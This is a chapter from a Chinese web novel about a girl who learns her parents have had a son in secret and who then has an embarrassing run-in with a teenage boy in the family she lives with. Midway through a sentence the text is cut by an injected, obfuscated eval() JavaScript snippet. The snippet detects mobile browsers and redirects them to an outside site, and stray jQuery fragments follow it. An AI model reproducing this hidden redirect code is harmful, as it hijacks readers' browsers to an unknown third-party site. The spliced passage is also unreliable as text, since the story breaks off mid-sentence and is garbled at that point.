崔蕊发来的是一个陌生的小区名,沈清嘉边走边问,步行十分钟就到。等待红绿灯的间隙,沈清嘉注意到附近新开了一家幼儿园,装修鲜艳,很适合当记忆路标。
小区里,相互独立的单元楼,打扫干净的主道,虽然没有陈家的高档,但和以前拥挤黑暗的弄堂相比,算得上是天壤之别。
落日楼头,橘黄色霞光折射进来,楼道被分割成亮暗两面,沈清嘉沿着阶梯,一步步走向没有光的所在。
心像沉重的书包,慢慢往下坠,沈清嘉紧了紧捏着背带的手,深深叹一口气。
她没法不承认,自己潜意识里真的不想来。
但是为什么又走到这里了呢?
赌气,情绪上来,行为活动自然就不受控制了。这是沈清嘉脑子里冒出来的第一想法,而不是爸爸妈妈在这里。
至于在气什么,不想深究,因为目前有个更棘手的问题。
她没有钥匙,如果被拒之门外,是不是又得重复和上次一样的经历?
但这次没有重蹈覆辙。
房门半掩着,露出一条门缝,沈清嘉先看了眼门牌号,确定没走错,才小心翼翼地推开门。
室内明亮,散了一地的儿童玩具,客厅墙壁上挂着一幅红底的结婚照,相框里的崔蕊和沈文德并肩而坐,嘴角微扬,任谁看都觉得这是一对和睦的恩爱夫妻。
沈清嘉踢了踢脚边的火车玩具,动静引得崔蕊从厨房里跑出来,手上还拿着锅铲,怒吼道:“沈文睿!说了多少遍不要把玩具随便丢在地上,你等谁给你擦屁股啊!又随便去开门了是不是,你等我找到衣架——”
突然看到站在门口的沈清嘉,崔蕊话倏地堵在喉咙,空气静了一瞬,马上换了语气:“清嘉啊,你怎么突然来了?”
沈清嘉皱眉,声音很凉:“不是你让我来的吗?”
“还有,沈……文睿是谁?”
话音刚落,阳台门被推开,一个个头矮小的男孩歪着身子跑近,径直踩过沈清嘉。
沈清嘉吃痛,低头,干净的鞋面印上半个黑色脚印。
-
晚上七点,陈家正要吃饭,何温妤看着呆呆抱着汤碗的沈清嘉:“清嘉,怎么了?是不是回来之前路上去买零食吃所以现在不饿啦?哎呀,这没什么的,要是现在吃不下一会儿再吃……”
“没有。”沈清嘉摇头:“我没买零食吃。”
何温妤摸了摸自己的额头,又去碰沈清嘉的:“那是生病了没胃口?”
沈清嘉:“也不是。”
陈唯谦放下筷子:“肯定是这汤凉了变腥了是不是?叔叔去帮你加热一下。”
“不用了,谢谢叔叔。”
沈清嘉仰头一口闷完放凉了的汤,又扒了几口饭菜,匆匆擦完嘴后就回了房间,重重地摔进软被里。
憋得久了,沈清嘉歪头呼吸,满脑子都是在沈家的画面。
饭桌前,主位上是沈文德,崔蕊抱着沈明睿坐在对面,只有她单独坐在一侧。
这个坐位在陈家很常见,但沈清嘉远没有感受到像现在这般的压抑和煎熬。
沈清嘉越看越觉刺眼,还是没忍住问:“所以他多大?”
“他吗?”崔蕊颠了颠怀里的小人,“一岁。今天正好是他的生日。”
一瞬间,委屈从喉头漫上,眼眶变得模糊不清。
沈清嘉从来没觉得自己的思路那么清晰过。
原来近乎断联的这一年里,爸爸妈妈去生了一个男孩。
原来不是不能带她去游乐场,而是因为在产房抽不开身,原来过生日的主角不是她,而是这个素未谋面的弟弟,原来不是考虑到她没钥匙开了门,而是小孩调皮弄巧成拙。
所有曾经疑惑的事情在此刻都有了合理的解释。一桩桩,一件件,像越滚越大的雪球,压上摇摇欲坠的心理防线,沈清嘉死劲咬着唇,才勉强忍住眼泪。
沈文德自是不满意她的样子,不耐烦地用筷子敲着碗边:“你妈叫你回来是给你弟庆生的,摆出这副臭脸给谁看!”
“可是明天是我生日!你们有谁问过我愿不愿意了吗!”
沈清嘉崩溃地喊叫,手一甩,打掉桌上的碗,噼里啪啦碎成瓷片,沈明睿被吓得大哭起来,疯狂抓着崔蕊的头发,整个屋子霎时人仰马翻。
来不及震惊自己做了什么,沈清嘉背上书包往外跑,把沈文德的一顿咒骂,沈家的一片狼藉通通甩在身后。
她在路上跑了很久很久,直到没了力气才扶着栏杆停下,狠狠喘气,肌肉因为紧张而颤抖。
旁边有一对父女经过,在聊明天要不要去看电影。
沈清嘉自嘲地扯出一个笑,不可自制地下了决定。
她再也不会回来了。
-
放肆哭完,沈清嘉从湿透的枕头抬起脑袋,随意抹了把脸,不死心去捞放在一旁的手机。
没有信息,没有挽回,没有解释。
尽管想过这种可能,但亲眼看到依旧心悸。
沈清嘉坐起,想去洗把脸。
推开门,抹去镜子上的水雾,沈清嘉看到一张面如死灰的脸,还真和沈文德说的一样,一点也不好看。
手穿过流动的水柱,沈清嘉站在池边等水加热。
她现在是主动地和家里人断绝关系了吗?事实证明,是的。这几乎是一条没法回头的路。如果非要走到这步,那陈家一定是最好的去处,最起码,她能保证未来好几年不至于漂泊无依。
沈清嘉不可遏制地又想起她和这个家非亲非故的关系,心想接下来行事一定要小心小心再小心,千万不能让叔叔阿姨讨厌她。
烦乱的思绪被水烫了回来,沈清嘉看着面前的镜子,突然意识到不对劲:好像刚刚进来的时候她就擦了一遍,这会儿怎么又起雾了?
下一秒,只穿了睡裤、裸着上身的陈淮之正擦着头发,拉开挡帘,和沈清嘉迎面撞了个正着。
沈清嘉:“…………”
陈淮之:“…………”
冷白的、有形的、尚不明显的,通通刺激着视觉神经。
沈清嘉几乎是立刻用手捂住双眼,水汽裹着好闻的柑橘清香泅湿裸露在外的皮肤。
一室寂静,只有龙头的流水声。
沈清嘉想去看陈淮之的反应,偷偷张开指缝,只瞟到一秒就往外跑:“我什么都没看到啊啊啊啊啊!!!”
-
十分钟后,沈清嘉弯腰坐在沙发里,双手掩面,努力通过呼吸恢复过快的心跳。
何温妤听到动静上楼:“清嘉,发生什么事了?”
沈清嘉猛地抬头,连连否认:“没有啊,没什么事。”
“那我怎么听到有人在喊?”
“……”
沈清嘉双手朝空中挥了下:“啊,我刚刚在打蚊子,被咬得太痒了。”
何温妤还是觉得有点奇怪,可又说不出个所以然:“那我去找找花露水……”
沈清嘉没来得及拒绝,陈淮之就从楼下扛了把电风扇上来,何温妤一顿:“怎么突然搬这个?”
“教她写作业,但是二楼太热了。”
瞧见他脖颈红成一片,何温妤心想哪天确实要给二楼也装个空调,点点头道:“行,对清嘉耐心一点,别欺负人家。”
说完便下了楼。
陈淮之放下电风扇,插电,拖了个凳子到沈清嘉面前:“聊聊吗?”
沈清嘉:“……”
心好像跳得更快了,那她刚才那么努力算什么?
“聊什么啊……”
“聊聊在浴室里的事。”陈淮之扬了扬下巴,“怎么不敲门就直接进来了?”
一上来就给她扣帽子?
沈清嘉有点不服气:“我怎么知道你在里面洗澡,我们平时不都是睡前才洗的吗。”
陈淮之听得眉心一跳。
家里浴室上下各一间,二楼的干湿分离,专给他们用。他爱出汗,一般
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461513|167751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确实是睡前洗,但沈清嘉就纯粹是不想动,硬拖,两人为此争夺晚间洗澡权没少拌嘴。
但今天确实是特殊情况。
下午比赛结束,他正准备走人,突然被政治老师叫去办公室。老师对他一向和蔼,这次却有点疾言厉色,原因不过是他身为组长,底下的成员居然有一半人还没背完书。
陈淮之向来不爱管这些事,组长的头衔也是被硬塞的,没有起到监督的作用,他自知理亏,硬生生抗了半小时的思想教育,听得大脑昏昏沉沉,回到家沾床就睡,醒来才想起来衣服都没换,于是匆匆洗了个澡,结果就碰上这样的事。
陈淮之纠正她的逻辑:“所以这和你没敲门有什么关系?”
“……”
“那我顺手啊,而且你也有问题。”
“我什么问题。”
“你不穿衣服……不是,是不穿上面的衣服,总之是你耍流氓!”
“……”
奇了,还有他争不过的时候?
陈淮之滚了滚喉咙,莫名被激起斗志开始胡说八道:“那以前,在电视,或者生活中,你没见过男生这样吗?”
实际上是有的。以前去游泳馆的时候,男孩子们都只穿短裤,抬眼望去,全是白花花的肉/体。
但那是公共场合,又不是私人区域,何况初中生的和幼儿园的能比吗?
在亲眼见过之后,沈清嘉觉得完全不能。
等会儿,她怎么在脑补那些奇奇怪怪的画面?!
沈清嘉狠狠甩头,换上冷漠的表情:“哦。”
“哦是什么意思?”
“意思是我见过,但那又怎样?”
陈淮之:“……”
陈淮之觉得自己肯定是洗澡把脑子洗坏了,不然为什么要和她掰扯这种不三不四的话。
无奈地抓了把头发,陈淮之起身往房间走。
沈清嘉以为他落荒而逃,胜利似的狠狠踢了下他的椅子。
过了几分钟,陈淮之折回来,往桌上扔了包糖。
沈清嘉极其防备,双臂交叉护在身前:“干什么?”
陈淮之一嗤:“请你吃,贿赂你。”
“为什么要贿赂我?”她前不久刚学会这两个字,知道组合在一起不是什么好意。
“难道你还想把今天的事往外说?”
沈清嘉难以置信瞪大眼睛。
当!然!不!可!能!
要是让叔叔阿姨知道他们的宝贝儿子被看了一半光,岂不是要扒掉她一层皮?她可不想变成无家可归的流浪小孩。
糖用了透明的绿色包装,乍一看有点像薄荷糖,但颜色更接近于青苹果,沈清嘉撕开齿轮状的边缘,觉得他还挺会投其所好。
可舌尖碰到糖果的瞬间,沈清嘉整张小脸都皱了起来,疯狂捂嘴才没糖出来:“这是什么糖啊,怎么那么酸!”
陈淮之解释:“前段时间六一学校发的,我不太喜欢。”
“你不喜欢就塞给我吃吗!”沈清嘉嗔怒。
“别着急啊。”陈淮之试图安抚,“这玩意儿吃到后面就会变甜,但是太甜了,所以我不喜欢。”
不知道过了多久,外层的酸粉终于舔完,沈清嘉眉眼舒展开,还是没忍住朝陈淮之踢了一脚,被他轻松躲开。
电风扇徐徐送风,两人一时都没说话,沉默许久。
把糖咬碎,沈清嘉想到什么,突然看向他:“对了,你明天有空吗?”
陈淮之闻言挑眉。
小孩的想法真的很跳脱,情绪起伏比他这个在青春期的人还大,而且这个问题他不是已经在手机上回复了吗。
不过他不建议重复一次:“没有,有别的安排。”
有什么安排?是要约漂亮姐姐吗?
沈清嘉本来想问,但见陈淮之没打算继续说下去,顿时觉得好没意思,下午那点被压下去的委屈又重新冒出来,于是灰溜溜地回房间,只余下嘴里那点苦涩的庆幸。